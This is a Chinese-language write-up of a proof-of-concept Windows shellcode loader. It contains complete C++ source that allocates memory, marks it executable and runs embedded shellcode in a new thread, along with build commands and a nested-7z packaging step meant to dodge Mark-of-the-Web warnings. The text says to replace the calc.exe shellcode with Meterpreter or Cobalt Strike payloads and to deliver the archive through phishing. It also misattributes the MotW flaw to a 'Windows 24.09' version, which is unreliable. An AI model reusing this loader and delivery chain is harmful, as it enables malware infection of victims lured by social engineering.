Windows Shellcode 加载器 PoC 概念验证
这是一款针对 Windows 平台的 Shellcode 加载器概念验证实现,完整覆盖了内存分配、页面权限修改、线程创建等核心技术环节,并附带了详细的编译与打包流程,非常适合作为安全研究或渗透测试的参考示例。

功能特性
该 PoC 集成了一系列关键能力:
- Shellcode 执行:首先通过
VirtualAlloc分配可读写内存区域,接着调用RtlMoveMemory将载荷复制到该区域,最后使用VirtualProtect将内存权限修改为可执行可读,形成一套完整的内存中代码加载流程。 - 线程注入:利用
CreateThread创建新线程,从载荷入口处开始执行;再通过WaitForSingleObject等待线程结束,整个过程简洁高效。 - 绕过 MotW 机制:Windows 24.09 版本之前存在 MotW(Mark of the Web)缺失漏洞,从互联网下载的文件不会触发 SmartScreen 警告。该 PoC 借助此漏洞,将载荷打包成压缩文件诱导用户手动运行——这是典型的社会工程学攻击路径。
- MinGW-w64 编译支持:提供了完整的跨平台编译命令,支持静态链接生成独立 Windows 可执行文件,无需依赖外部 DLL。
- 载荷体积优化:编译后使用 7z 进行两次压缩,大幅减小文件体积,便于通过邮件、即时通讯等渠道传播测试。
安装指南
系统要求
- 目标执行环境:Windows 操作系统
- 编译环境:Linux / macOS / Windows 均可(需安装 MinGW-w64 工具链)
- 压缩工具:7-Zip
编译环境配置(以 Linux 为例)
# 安装 MinGW-w64
sudo apt-get install mingw-w64
# 安装 7-Zip
sudo apt-get install p7zip-full
编译步骤
# 使用 MinGW-w64 编译 C++ 代码
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -static
# 对生成的 exe 进行两次 7z 压缩(减小体积)
7z a loader.7z loader.exe
7z a loader_final.7z loader.7z
使用说明
代码结构解析
核心流程共五步,每步调用的 API 及参数已在注释中明确标注:
- 内存分配:
VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)在进程虚拟地址空间中开辟一块可读写内存区域。 - 载荷写入:
RtlMoveMemory(payload_mem, p, len)将 Shellcode 字节数组复制到刚分配的内存。 - 权限提升:
VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect)将内存页权限改为可执行可读。 - 线程创建:
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_mem, 0, 0, 0)新线程从载荷入口点开始运行。 - 等待完成:
WaitForSingleObject(th, -1)主线程等待子线程执行完毕再退出。
代码本身并不复杂,但将这些 API 串联起来,就构成了典型的 Shellcode 加载器模板。
Shellcode 说明
PoC 中附带的 Shellcode 用于启动 calc.exe(计算器),底层调用的是 WinExec 函数。在实际攻击场景中,只需将 p 数组中的字节码替换为任意目标 Shellcode 即可,例如 meterpreter 或 cobalt strike 的 Payload。
载荷替换方法
unsigned char p[] = {
// 在此处替换为自定义 Shellcode 字节数组
0xFC, 0x48, 0x83, 0xE4, ...
};
unsigned int len = sizeof(p);
核心代码
Shellcode 加载器主程序
#include
#include
#include
#include
int main() {
DWORD oldprotect = 0;
// 定义 Shellcode 载荷(calc.exe 启动代码)
unsigned char p[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
0x65, 0x78, 0x65, 0x00
};
unsigned int len = sizeof(p);
// 步骤1:分配可读写内存
void *payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 步骤2:将 Shellcode 复制到分配的内存
RtlMoveMemory(payload_mem, p, len);
// 步骤3:修改内存权限为可执行可读
BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);
// 步骤4:创建线程执行 Shellcode
if (rv != 0) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
编译与打包脚本
# 使用 MinGW-w64 进行交叉编译
# -s: 去除符号表,减小文件体积
# -static: 静态链接,避免依赖外部 DLL
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -static
# 两次 7z 压缩,进一步减小体积
# 由于该漏洞需要用户交互,压缩文件便于通过社交工程方式诱导执行
7z a loader.7z loader.exe
7z a loader_final.7z loader.7z
安全防护绕过说明
所谓的 MotW(Mark of the Web),是 Windows 为从互联网下载的文件添加的一种标记。当文件带有此标记时,运行时会触发 SmartScreen 和安全警告,提醒用户注意风险。然而,在 Windows 24.09 版本之前,这一机制存在缺失——系统不会自动给下载的文件附加 MotW,因此压缩包中的 exe 直接运行时也不会弹出警告。攻击者正是利用这一点,将载荷包装成压缩文件,通过钓鱼邮件或即时消息诱导受害者手动点击执行,从而完成载荷加载。
从技术演进角度看,这类方法将社会工程学与系统漏洞相结合,是安全研究和渗透测试中典型的攻击路径。对于企业和个人用户而言,最直接的防御措施就是及时更新 Windows 系统,确保 MotW 保护机制始终处于开启状态。
